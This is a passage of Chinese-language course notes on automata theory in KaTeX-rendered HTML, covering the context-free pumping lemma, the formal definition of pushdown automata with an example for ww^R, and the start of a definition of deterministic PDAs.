<li>对于 CFL，存在一个 N 若 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>z</mi><mi mathvariant="normal">∣</mi><mo>></mo><mi>n</mi></mrow><annotation encoding="application/x-tex">|z| \gt n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 则改写 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi><mo>=</mo><mi>u</mi><mi>v</mi><mi>w</mi><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">z = uvwxy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">uv</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 满足：
<ul>
<li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>v</mi><mi>w</mi><mi>x</mi><mi mathvariant="normal">∣</mi><mo>≤</mo><mi>N</mi><mo separator="true">;</mo><mi mathvariant="normal">∣</mi><mi>v</mi><mi>x</mi><mi mathvariant="normal">∣</mi><mo>></mo><mn>0</mn></mrow><annotation encoding="application/x-tex">|vwx| \le N; |vx| > 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">x</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord mathnormal">vx</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></li>
<li>即有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mi>i</mi><mo>≥</mo><mn>0</mn><mo separator="true">,</mo><mi>u</mi><msup><mi>v</mi><mi>i</mi></msup><mi>w</mi><msup><mi>x</mi><mi>i</mi></msup><mi>y</mi><mo>∈</mo><mi>L</mi></mrow><annotation encoding="application/x-tex">\forall i \ge 0, uv^iwx^iy \in L </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord">∀</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0191em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span></li>
</ul>
</li>
</ul>
<p>例如，证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi><mo>=</mo><mo stretchy="false">{</mo><msup><mn>0</mn><mi>m</mi></msup><msup><mn>1</mn><mi>m</mi></msup><msup><mn>2</mn><mi>m</mi></msup><mi mathvariant="normal">∣</mi><mi>m</mi><mo>≥</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">L = \{0^m1^m2^m | m \ge 1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span></span></span></span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span></span></span></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span> 不是 CFL：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-EyBOed.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-EyBOed.png" alt="image-20200902231726693" loading="lazy" data-wrapped="true"></a></p>
<h2 id="下推自动机-push-down-automaton-pda"><a href="#下推自动机-push-down-automaton-pda">下推自动机 Push Down Automaton PDA</a></h2>
<p><strong>PDA 与 CFG - 二型文法等价</strong></p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-RJ66hO.png" alt="image-20200902210210350" style="zoom: 33%;" />
<p>定义：一个七元组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><mo stretchy="false">(</mo><mi>Q</mi><mo separator="true">,</mo><mi mathvariant="normal">Σ</mi><mo separator="true">,</mo><mi mathvariant="normal">Γ</mi><mo separator="true">,</mo><mi>δ</mi><mo separator="true">,</mo><msub><mi>q</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>Z</mi><mn>0</mn></msub><mo separator="true">,</mo><mi>F</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">M = (Q, \Sigma, \Gamma, \delta, q_0, Z_0, F)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Σ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Γ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mclose">)</span></span></span></span>：</p>
<ul>
<li>
<p>Q 状态集合；<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex">\Sigma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span>  输入字母表； <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Γ</mi></mrow><annotation encoding="application/x-tex">\Gamma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Γ</span></span></span></span> 栈符号表；<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Z</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">Z_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 开始符号（栈底符号）<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 开始状态；<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi></mrow><annotation encoding="application/x-tex">F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> 终止状态； <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi></mrow><annotation encoding="application/x-tex">\delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span> 转移函数 ，形如：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mo separator="true">,</mo><mi>Z</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><msub><mi>p</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>γ</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><msub><mi>p</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>γ</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\delta(q,a,Z) = \{(p_1, \gamma_1), (p_2, \gamma_2)...\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0556em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0556em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord">...</span><span class="mclose">}</span></span></span></span> 为一次非空移动</p>
<ul>
<li>形如：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>ε</mi><mo separator="true">,</mo><mi>Z</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><msub><mi>p</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>γ</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><msub><mi>p</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>γ</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\delta(q,\varepsilon,Z) = \{(p_1, \gamma_1), (p_2, \gamma_2)...\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0556em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0556em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord">...</span><span class="mclose">}</span></span></span></span> 为一次空移动，此情况下无论输入内容是什么，都可以选择直接将状态变为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</li>
</ul>
</li>
<li>
<p>一个例子：构造 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>L</mi><mrow><mi>w</mi><mi>w</mi><mi>r</mi></mrow></msub><mo>=</mo><mo stretchy="false">{</mo><mi>w</mi><msup><mi>w</mi><mi>R</mi></msup><mi mathvariant="normal">∣</mi><mi>w</mi><mo>∈</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><msup><mo stretchy="false">}</mo><mo>∗</mo></msup><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">L_{wwr} = \{ww^R | w\in \{0,1\}^*\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">ww</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.00773em;">R</span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose"><span class="mclose">}</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>，其中 R 为倒序：</p>
<ul>
<li>PDA 在图形中表示如下，右侧表示栈 Z 在状态转移之前与之后的情况，栈顶位于左侧，栈底位于右侧：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Z</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">Z_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 表示空栈</li>
<li>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-3GSEAf.png" alt="image-20200902210340064" style="zoom:33%;" />
</li>
</ul>
</li>
<li>
<p>确定下推自动机 DPDA：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(q,a,X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span> 在 a 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ε</mi></mrow><annotation encoding="application/x-tex">\varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span> 时总是空，且 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(q,a,X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span> 非空则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>ε</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(q,\varepsilon,X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span>  非空。</p>
<ul>
